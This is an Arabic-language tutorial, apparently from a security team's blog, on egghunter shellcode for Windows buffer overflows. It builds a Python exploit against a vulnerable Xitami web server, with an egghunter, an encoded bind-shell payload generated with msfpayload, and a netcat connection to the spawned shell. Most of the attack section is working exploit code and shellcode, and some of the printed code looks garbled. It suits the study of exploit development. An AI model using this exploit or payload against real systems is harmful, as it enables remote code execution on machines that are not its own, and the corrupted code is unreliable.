EggHunter Buffer Overflow for Windows

Haboob-Team

2018/06/11



المحتوى:

3	مقدمة:
4	المشكلة:
5	ماهوالحل ؟
5	ماهو ال Egg:
6	۔۔۔ ماہو ال Egg Hunter:
6	طريقة عمل Egg hunter :
7	أنواع Egg Hunter لأنظمة الويندوز:
7	IsBadReadPtr -1
7	NTDisplayString -2
7	NtAccessCheckAndAuditAlarm -3
9	تطبيق عملي لثغرة EggHunter:
18	

مقدمة:

جميعنا نعرف ثغرة الـ buffer overflow والتي تحدث عندما يتم كتابة بيانات زائدة عن الحجم المخصص لها في الذاكرة والتي تسمح للمستغل بالاستفادة منها إما في حرمان الخدمة أو إستغلالها في تطبيق شفرة برمجية أو ما يطلق عليها بإسم الشل كود.

:Shellcode

هو عبارة عن عدة تعليمات مكتوبة بلغة الاسمبلي والتي تقوم بتنفيذ مهمه معينه مثال:

كتابة ملف , قراءة ملف , تنفيذ أوامر على النظام ,..إلخ.

مثال شل كود لقراءة ملف :

```
global start
section .text
start:
  xor ecx, ecx
 mul ecx
open:
 mov al, 0x05
 push ecx
 push 0x64777373
 push 0x61702f63
 push 0x74652f2f
 mov ebx, esp
 int 0x80
read:
 xchg eax, ebx
 xchg eax, ecx
 mov al, 0x03
 mov dx, 0x0FFF
 inc edx
 int 0x80
exit:
  xchg eax, ebx
  int 0x80
```

للإطلاع على مزيد من التفاصيل على ثغرة البفر اوفر فلو يمكنك زيارة المواقع التالية:

- iSECUR1TY -
- <u>Security4Arabs</u> -

المشكلة:

في بعض حالات إستغلال ثغرت البفر يكون حجم البفر الذي يتم كتابة الشل كود فيه أصغر من الشل كود المراد كتابته. مثال:

نريد إستغلال ثغرة الـ Buffer overflow وتطبيق shellcode يقوم بإنشاء إتصال عكسية على جهاز المهاجم سنقوم بإستخدام Meterpreter reverse tcp shellcode

الحجم: 341 بايت.

ولكن كما نرى الحجم المتوفر لكتابة الـ shellcode هو :



كما نلاحظ ان الحجم المتوفر لايمكن استخدامه لوضع shellcode يقوم بالاتصال العكسي والذي يبلغ حجمة 341 بايت وبالتالي لا يتسع لحجم المكان المتوفر لدينا.

ماهوالحل ؟

إما إعادة كتابة ال**shellcode** المراد تنفيذه, في حالتنا هو **meterpreter reverse tcp ل**يناسب الحجم المتوفر كما في الصوره أعلاه وهو 43 بايت وهو الحل الأصعب.

أو كتابة shellcode يناسب الحجم المتوفر و بدوره يقوم بالبحث في ذاكرة البرنامج عن ال shellcode الذي سنقوم بإدخاله عن طريق مدخل آخر للبرنامج.

ماهو ال Egg:

هو عبارة عن 4 بايت يتم وضعها قبل Shellcode المراد تنفيذه ليتم إستخدامها كاعلامة عندما يقوم Egg hunter بالبحث عن ال shellcode في الذاكرة.

ملاحظة: يتم تكرار **Egg** مرتان لتصبح 8 بايت للتأكد من عدم وجود تعارض في مكان آخر في الذاكرة.



ماهو ال Egg Hunter: هو عبارة عن shellcode غالباً مايكون صغير الحجم ما يقارب **32 بايت** و ظيفته هي البحث في ذاكرة البرنامج المتوفرة عن ال Egg والتي ستكون حجمها 8 بايت و في حال تم إيجادها سيتم الإنتقال الى ذلك الموقع من الذاكرة والذي سوف يؤشر على بداية ال

> **طريقة عمل Egg hunter :** لنفرض أن لدينا برنامج مصاب ويستقبل مدخلين:

> > المدخل الأول : وهو مدخل سليم.

المدخل الثانى : و هو مدخل مصاب.



أنواع Egg Hunter لأنظمة الويندوز:

في هذه المقالة سنتطرق الى ال **Egg hunter** في أنظمة الويندوز فقط .

يوجد أربعة أنواع من **Egg hunter** في أنظمة الويندوز , سيتم شرح ثلاثة أنواع أما النوع الرابع لن نتطرق اليه لكبر حجم ال shellcode .

تختلف الأنواع الثلاثة بإختلاف الدالة المستخدمة (windows api function):

IsBadReadPtr -1

الوظيفة: تقوم الدالة بإستقبال عنوان في الذاكرة كمدخل , وتحدد ما إذا كان هذا العنوان لديه صلاحية القراءة أو لا ,سنستخدمها لتحديد في ما إذا كان العنوان موجود أم غير موجود.

الحجم: 37 بايت.

-ملاحظة: هذا النوع لايستخدم بكثره نظرناً لعدم دقة عمل الدالة المستخدمة.

NTDisplayString -2

ا**لوظيفة:** تقوم الدالة بإستقبال عنوان ذاكرة يؤشر على نص (string) و تقوم بطباعة النص في الشاشة الزرقاء, تستخدم في ال **Egg hunter** لتحدد ما إذا كان العنوان موجود أم غير موجود.

الحجم: 32 بايت.

3- NtAccessCheckAndAuditAlarm ا**لوظيفة:** كما في دالة NTDisplayString لتحدد ما اذا كان عنوان الذاكرة موجود ام غير موجود.

الحجم: 32 بايت.

شرح تعليمات الاسيمبلي Egg hunter بإستخدام داللة NtAccessCheckAndAuditAlarm :

- edx تخزين آخر عنوان في صفحة الذاكرة في register
 - 2- زيادة ال edx register بواحد.
- 5- وضع edx register في أعلى ال3
 - 4- وضع القمية 2 في أعلى الStack
- -5 إزالة القيمة 2 من أعلى ال Stack و وضعها في
 -5 وهي قيمة الدالة المستخدمة.
- -6 إستدعاء الدالة والتي يرمز لها بالرقم المخزن في
 -6 *eax register*
- 7- بعد إستدعاء الدالة وسوف تخزن القيمة الرجعية في AL و هو الجزء السفلي من eax و مقارنتها ب الرقم 5 ,و هو يعني أنه يوجد خطأ أثناء دخول العنوان المخزن في Edx register.
 - 8- سنقوم بوضع القيمة الموجوده في أعلى
 10 Edx register فى Edx register .
 - 9- ستقوم هذه التعليمة بالتالي:
 - إذا كانت قيمة AL تساوي 5 فسيتم الإنتقال
 الى التعليمة رقم 1.
- إذا كانت قيمة AL لا تساوى 5 فسيتم الإنتقال الى التعليمة 10.
- 10- وضع قيمة ال EGG في ال Eax register : قيمة ال Egg هي كلمة WOOt .
 - 11-نسخ العنوان المخزن في أل Edx و وضعه في EDI register.
- EDI التعليمة تقوم بمقارنة القيمة المخزنة في Eax register مع القيمة الموجودة في عنوان الذاكرة المخزن في EDI register وستقوم بزيادة register وستقوم بزيادة EDI register بايت.
 - 13-إذا كانت القيمة غير متساوية سيتم الإنتقال الى التعليمة رقم 2.
- 14-إذا كانت القيمة متساوية سيتم تكرار العملية 12 سيتم مقارنة القيمة الموجودة في عنوان الذاكرة الموجود في EDI مع قيمة ال EAX register وزيادة ال EDI ب 4 بايت.
- 15-إذا كانت القيمة متساوية فسيتم الانتقال ال العنوان الموجود في ال EDI والذي يؤشر على بداية Large shellcode .

PUSH EDX
PUSH 2
POP EAX
INT 2E
CMP AL, 5
POP EDX
JE SHORT 0012CD6C
MOU EAX, 74303077
MOU EDI, EDX
SCAS DWORD PTR ES: [EDI]
JNZ SHORT 0012CD71
SCAS DWORD PTR ES: [EDI]
JNZ SHORT 0012CD71
SCAS DWORD PTR ES: [EDI]
JNZ SHORT 0012CD71
SHORT 0012CD71
SHORT 0012CD71

تطبيق عملي لثغرة EggHunter:

تم اختيار برنامج Euffer Overflow مصاب بثغرة Muffer Overflow من موقع exploit-db والذي سيتم شرح الثغرة من خلال البرنامج المذكور اعلاه:

في البداية تم اختبار البرنامج والتأكد من اصابته بثغرة Buffer Overflow بعد ذلك نحتاج ان نتأكد من حجم المساحة المتبقية لكتابة shellcode, طريقة التأكد عن طريق الضعط على الزر الأيمن على register ESP واختيار Follow in Dump وسوف يظهر لنا الحجم المتاح لنا



من الصورة اعلاه نستطيع الحكم بأن المساحة المتبقية غير كافية لوضع shellcode من نوع CMD Bind Connection في هذي الحالة نحتاج الى Beverse للوصول الى shellcode الذي سيقوم بعمل shelcode في هذي الحالة نحتاج الى tag للوصول الى NtAccessCheckAndAuditAlarm للبحث عن tag (كلمة مفتاحية)

```
egghunt =
("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"w00t" # 4 byte tag
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")
```

في EggHunter shellcode السابق استخدمنا tag w00t للبحث عن shellcode الأساسي في الذاكرة, عن طريق البحث عن جميع محتويات الذاكرة عن tag w00t الذي تم دمجة مع shellcode ومن ثم تنفيذ bind connection shellcode ومن ثم تنفيذ shellcode

```
import time, socket, sys
if len(sys.argv) != 3:
   print "Usage: ./xitami.py <Target IP> <Target Port>"
    sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
egghunt = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02"
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"w00t" # 4 byte tag
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")
shellcode = "C" \star 500
jump = "\xeb\x22" # short jump
buf = "A" * 72
buf += "x53x93x42x7E" # jmp esp (user32.dll
buf += jump
buf += "\x90" * 50
buf += egghunt
shellcode += "w00tw00t" + shellcode # tag shellcode with w00t
# send the first GET request with shellcode
header1 = (
'GET / HTTP/1.1\r\n'
'Host: %s\r\n'
'user-agent: %s\r\n'
'\r\n') % (target, shellcode)
# send the GET request with payload
header2 = (
'GET / HTTP/1.1\r\n'
'Host: %s\r\n'
'If-Modified-Since: pwned, %s\r\n'
'\r\n') % (target, buf)
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
try:
   s.connect((target, port))
   print "[+] Connected"
except:
   print "[!] Connection Failed"
    sys.exit(0)
print "[+] Sending shellcode..."
s.send(header1)
time.sleep(1)
s.close()
```

سيقوم السكربت البرمجي بالبحث عن shellcode الذي سيقوم بعمل bind connection في الذاكرة الخاصة بالرنامج عن طريق البحث عن tag w00t أنا وجد tag أربع مرتين متتاليتين سيتأكد السكربت بانه وجد shellcode الحقيقي.

في البداية وضعنا shellcode عبارة عن حروف C فقط لنتأكد من صحة عمل السكربت, بعدها عملنا payload الذي سيسبب توقف عمل البرنامج وسيتم الكتابة على register ESP بالنعوان المذكوور, وبعدها عمل قفزة لتخطي بعض التعليمات اللتي سوف تفسد عمل الاستغلال, وفي الأخير سوف يتم تنفيد EggHunter shellcode للبحث عن egg.



قبل ان نسترسل في كتابة الثغرة نستطيع ان نقوم بنفس عمل EggHunter shellcode عن طريق البرنامج المستخدم في عملية debugging لكي تتضح لنا عملية البحث في ذاكرة البرنامج, في هذا المثال استخدمنا برنامج Immunity Debugger

> في البداية نضغط على حرف m الموجود اعلى صفحة البرنامجو الذي سوف يفتح لنا نافذة جديدة تدعى نافذة الذاكرة, هذة النافذة تعرض لنا جميع البيانات التي تم تحفظ في البرنامج او البيانات التي تدخل او ترسل من قبل المستخدم, في مثالنا هذا ارسلنا woot tag يحتوي على GET request متبو عا بـ shellcode و هو عبارة عن احرف C الى هذة اللحظة.

🔹 Immunity Debugger - xiwin32.exe - [CPU - thread 00000D18]											
C File View	Debug Plugins	ImmLib Options W	Vindow Help_	Jobs							
🗀 🐝 🗉 🔣	i 📢 🗙 🕨 📗	비석하다	⇒le	m t w	h c	p l	c b	z	r	s	?
00C9FF34	EB 22	JMP SHOR	T 00C9FF5	8							
00C9FF36	90	NOP									
00C9FF37	90	NOP									
00C9FF38	90	NOP									
00C9FF39	90	NOP									
00C9FF3A	90	NOP									
00C9FF3B	90	NOP									
00C9FF3C	90	NOP									
00C9FF3D	90	NOP									
00C9FF3E	90	NOP									
00C9FF3F	90	NOP									
00C9FF40	90	NOP									
00C9FF41	90	NOP									
00C9FF42	90	NOP									
00C9FF43	90	NOP									

بعد الضغط على نافذة الذاكرة سوف تظهر لنا هذة النافذة, سنقوم بالضغط على الزر الايمن بعدها على خيار البحث (search) وكتابة tag الذي تم ارسالة ليقوم بالبحث عليه وبالتالي البحث عن shellcdoe

🔩 Imm	unity Del	ougger - xiwin32.	exe - [Memory	map]				
M File	View Det	oug Plugins ImmLib	Options Windo	w Help Jobs				
🗀 🐝	🗉 🔣 🔺	< × ▶ ↓ +	\$111→	lemtw	vhcp	kbzr	s ? Code auditor and so	oftware assessment specia
Address	Size 00001000	Owner Section	Contains Ty	pe Access Initi	al Mapped as			
0002000 0012000 0012000 0012000	00001000 00001000 00003000		Pi Pi stack of ma Pi	to RW RW to ??? Gua:RW to RW Gua:RW				
0014000	00024000	Enter binary st	ring to search t	for				
0025000	00016009 00016009 00041009	ASCII w00t				rddiskVolume1\WI rddiskVolume1\WI	NDOWSNsystem32Nunicode.nls	5
0020000						rddiskVolume1∖WI rddiskVolume1∖WI	NDOWS\system32\sortkey.nls NDOWS\system32\sorttbls.nl	s Is
0035000 0035000 0040000	00002000							
00401000	00058009 00002009	HEX +04 77 3	0 30 74					
0048800 004D000	00000000000000000000000000000000000000							
005E000 005F000	00008000 00051000 00051000	_		< >>				
0090000	00001000	Entire block			Cancel			
0092000	00003000 00004000 00002000	Case sensitive				rddiskVolume1\WI	NUUWS\system32\otype.nls	
0095000			PP	NIV RW RW				
009E000 009F000	00002000			ap R R ap R R civ RW RW				
0080000 0085000 0089000	00050000 00010000 00010000		Ma Ma Ma	ap R R ap RW RW				
00C9D00	00001000		stack of th: Pi	riv ??? Gua:RW				
00CR000 00CB000 00CC000	00000000000000000000000000000000000000			SIVRW RW SIVRW RW				
00EBE000	00001000		stack of th Pi	siv ??? Gua RW siv RW Gua RW				
5AD7000	00002000 00001000 00001000) uxtheme luxthemetext	PE header In	ap K K nag R RWE nag R F RMF				
5ADA100 5ADA200		duxtheme .data duxtheme .rsro	data In resources In	hag RW RWE hag R RWE				
5D09000	00002000 00001000 00071000	d comett_1 d comett_1 d comett_1 .text	PE header In code.import In	hag R RWE hag R RWE hag R E RWE				
5D10200	1 00003000 1 00020000	comett_1 .data comett_1 .rsre	data In resources In	nag RW RWE nag R RWE				
6290000	00001000	LPK .reloc	PE header In	hag R RWE				

بعد الضغط على زر **ok** سيقوم بالبحث عن **tag** في جميع العناوين الخاصة بالبرنامج حتى العثور عليه, كما يظهر لنا في الصورة التالية:

تم العثور على tag متبوعا بـ shellcode في العنوان 8.0000

هذي تقريبا طريقة عمل EggHunter shellcode ولهذا احتجنا ان نقوم بصنع shellocde يقوم بهذا العمل:

أولا: لدمجة في كود استغلال الثغرة دون الحاجة الى عمل تلك الخطوات السابقة بشكل يدوي.

ثانيا: لعدم معرفتنا بمكان shellcode الحقيقي كونه غير قابل التنبؤ بعنوان shellcode, سوف يكون في كل مره في عنوان مختلف في الذاكرة.



الأن نستطيع استكمال الكود واستغلال الثغرة باستبدال shellcode في الكود السابق (كود 1) بـ shellcode reverse الأن نستطيع استكمال منقوم بإنشاؤة عن طريق msfvenom باستخدام الأمر التالي

root@kali: ./msfpayload win32_bind lport=4444 exitfunc=process R | ./msfencode -e JmpCallAdditive -b
'\x00\x0a\x0d' -c 7 -t c

السبب الذي اخترنا شكل c (f c) b كونه اسهل في النسخ نحتاج فقط اضافة اقواس بداية ونهاية shellcode ليتم التعرف عليه من قبل سكربت البايثون, في النهاية سنحصل على shellcode التالي

root@kali: /usr/share/framework2					
File Edit View Search Terminal Help					
<pre>root@kali:/usr/share/framework2# ./msfpayload win32_bind lport=4444 exitfunc=process</pre>	R	./ms	sfer	nc 📤	
ode -e JmpCallAdditive -b '\x00\x0a\x0d' -c 7 -t c					
Unknown option: c					
[*] USING MST::Encoder::JmpLatLAdditive with Tinat Size of 349 bytes					
\\\C\\DD\\\Z\Z\\dD\\\Z\Z\\Ad\\Ad\\Ad\\Ad\\Ad\\Ad\\Ad\\Ad\\					
"\x07\xb9\xb4\x8a\x94\x61\x11\x1(\x1(\x5\x74)\x55\x72\x54\xaf\xaf\xb4\xe5\x7b".					
"\x24\x52\xfe\x08\x64\x4c\xff\xe5\xd2\x07\xcb\x72\xe5\xf9\x05\x45".					
"\x7f\xa9\xe2\x85\xf4\xb6\x2b\xcf\xf8\xb9\x69\x3b\xf6\x82\x39\x98".					
"\xdf\x81\x24\x6b\x40\x4d\xa6\x87\x19\x06\xa4\x1c\x6d\x47\xa9\xa3".					
"\x9a\x74\xfd\x28\xd5\x16\xd9\x32\x87\x25\x10\x90\x23\x22\x10\x16".					
"\x27\x74\x9b\xdd\x47\x68\x0e\x6a\xe7\x98\x0e\x05\x66\xd6\xa0\x39".					
"\x26\x19\x6a\xa7\x94\x83\xfb\x1b\x29\x23\x8b\x28\x7f\xec\x27\x30".					
"\xaf\x7a\x03\x23\xac\x41\xc3\x43\x9b\xea\x6a\x5e\x42\x95\x80\xa9".					
"\x89\xc0\x30\x38\x72\x3a\xac\x75\x85\x41\x60\x01\x69\x79\x88\x8e".					
\X00\X/2\X19\Xdd\X51\X0C\X50\X65\X9d\X54\X54\X54\X54\X54\X54\X54\X54\X54\X54					
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\					
"\x12\xbf\x06\x02\x52\x52\x54\x51\x57\x58\x59\x56\x7b\x56\x7b\x56\x7b\x56\x7b					
"\x3e\xa7\x72\x2a\x37\xb0\xef\xf6\xc1\xdc\xc1\x36\x22\x8a\xdc\xf5".					
"\xe8\x34\x62\xd6\x61\x45\x19\x1e\x2d\xfe\x75\x36\x43\xfe\x39\xd1".					
"\x5c\x8b\x79\x21\x74\x28\xd5\x8f\x28\x9f\x88\x45\xca\x4e\x7a\xcf".					
"\x9d\x8f\xac\x87\xb0\xb6\x48\x96\x98\xb7\x85\x4c\xe0\xb8\x1d\x6e".					
"\xce\xcd\x35\x6c\x6c\x15\xdd\x73\xa5\xc7\xe1\x5c\x22\x17\x97\x59".					
"\xec\x84\x57\xb7\xed\xfa\xa8\x38\x12\xfa\xa8\x38\x12";					
root@kala:/usr/share/framework2#					

بعد نسخ shellcode واضافته على ملف السكربت (كود 1) في مكان المتغير shellcode سنحصل على السكربت النهائي الذي يتيح لنا الاتصال العكسي بالجهاز عبر البرنامج المصاب

```
import time
import socket
import sys
if len(sys.argv) != 3:
   print "Usage: ./xitami.py <Target IP> <Target Port>"
    sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
egghunt = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02"
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"w00t" # 4 byte tag
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7")
shellcode = ("\xfc\xbb\x62\x6f\x16\xaa\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85"
"\xc0\x75\xf7\xc3\xe8\xef\xff\xff\x9e\x05\xfd\xe7\xb6\x23\xfe"
"\x07\xb9\xb4\x8a\x94\x61\x11\x06\x21\x55\xd2\x64\xaf\xdd\xe5\x7b"
"\x24\x52\xfe\x08\x64\x4c\xff\xe5\xd2\x07\xcb\x72\xe5\xf9\x05\x45"
"\x7f\xa9\xe2\x85\xf4\xb6\x2b\xcf\xf8\xb9\x69\x3b\xf6\x82\x39\x98"
"\xdf\x81\x24\x6b\x40\x4d\xa6\x87\x19\x06\xa4\x1c\x6d\x47\xa9\xa3"
"\x9a\x74\xfd\x28\xd5\x16\xd9\x32\x87\x25\x10\x90\x23\x22\x10\x16"
"\x27\x74\x9b\xdd\x47\x68\x0e\x6a\xe7\x98\x0e\x05\x66\xd6\xa0\x39"
"\x26\x19\x6a\xa7\x94\x83\xfb\x1b\x29\x23\x8b\x28\x7f\xec\x27\x30"
"\xaf\x7a\x03\x23\xac\x41\xc3\x43\x9b\xea\x6a\x5e\x42\x95\x80\xa9"
"\x89\xc0\x30\xa8\x72\x3a\xac\x75\x85\x4f\x80\xd1\x69\x79\x88\x8e"
"\xc6\xd6\x7c\x72\xba\x9b\xd1\x8b\xec\x7d\xbe\x62\x51\xe7\x6d\x0c"
"\x88\x72\xf9\xaa\x51\x0c\x3d\xe5\x9a\x3a\xab\x1a\x34\x97\xd3\xcb"
"\xde\xb3\x81\xc2\xf7\xec\x26\xcc\x5b\x47\x26\x21\x33\x82\x91\x44"
"\x8d\x1b\xdd\x9f\x5e\xf7\x75\xa0\x27\xe6\x1d\xb9\xbe\xcf\xa7"
"\x12\xbf\x06\x02\x62\xef\xc1\xc7\xf8\x69\x66\x7b\x6c\xfc\x93\x11"
"\x3e\xa7\x72\x2a\x37\xb0\xef\xf6\xc1\xdc\xc1\x36\x22\x8a\xdc\xf5"
"\xe8\x34\x62\xd6\x61\x45\x19\x1e\x2d\xfe\x75\x36\x43\xfe\x39\xd1"
"\x5c\x8b\x79\x21\x74\x28\xd5\x8f\x28\x9f\x88\x45\xca\x4e\x7a\xcf"
"\x9d\x8f\xac\x87\xb0\xb6\x48\x96\x98\xb7\x85\x4c\xe0\xb8\x1d\x6e"
"\xce\xcd\x35\x6c\x6c\x15\xdd\x73\xa5\xc7\xe1\x5c\x22\x17\x97\x59"
"\xec\x84\x57\xb7\xed\xfa\xa8\x38\x12\xfa\xa8\x38\x12")
jump = "\xeb\x22" # short jump
buf = "A" * 72
buf += "x53x93x42x7E" # jmp esp (user32.dll
buf += jump
buf += "\x90" * 50
buf += egghunt
shellcode += "w00tw00t" + shellcode # tag shellcode with w00t
```

```
# send the first GET request with shellcode
header1 = (
'GET / HTTP/1.1\r\n'
'Host: %s\r\n'
'user-agent: %s\r\n'
'\r\n') % (target, shellcode)
# send the GET request with payload
header2 = (
'GET / HTTP/1.1\r\n'
'Host: %s\r\n'
'If-Modified-Since: pwned, %s\r\n'
'\r\n') % (target, buf)
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
try:
    s.connect((target, port))
   print "[+] Connected"
except:
   print "[!] Connection Failed"
   sys.exit(0)
print "[+] Sending shellcode..."
s.send(header1)
time.sleep(1)
s.close()
```

كود2 : الكود النهائي لاستغلال الثغرة

الان باستطاعتنا تجربة استغلال الثغرة عن طريق تشغيل السكربت السابق, وبعدها الإتصال بالجهاز المصاب عبر منفذ رقم 4444 لاستقبال الاتصال العكسي.



الصورة السابقة توضح بان EggHunter shellcode قد تم العثور عليه في ذاكرة البرنامج, الان بإمكاننا استكمال عمل shellcode لفتح منفذ رقم 4444.

الان يمكننا فتح البورت والاتصال على الجهاز للحصول على الشل عن طرق كتابة الأمر التالي:

root@kali: nc -nv <YOUR IP> <PORT NUMBER>

المحصلة النهائية لاستغلا الثغرة في الصورة التالية:



المصادر:

- <u>https://www.corelan-training.com/</u>
- https://www.exploit-db.com/exploits/17361/
- <u>https://www.offensive-security.com/metasploit-unleashed/msfvenom/</u>
- www.hick.org/code/skape/papers/egghunt-shellcode.pdf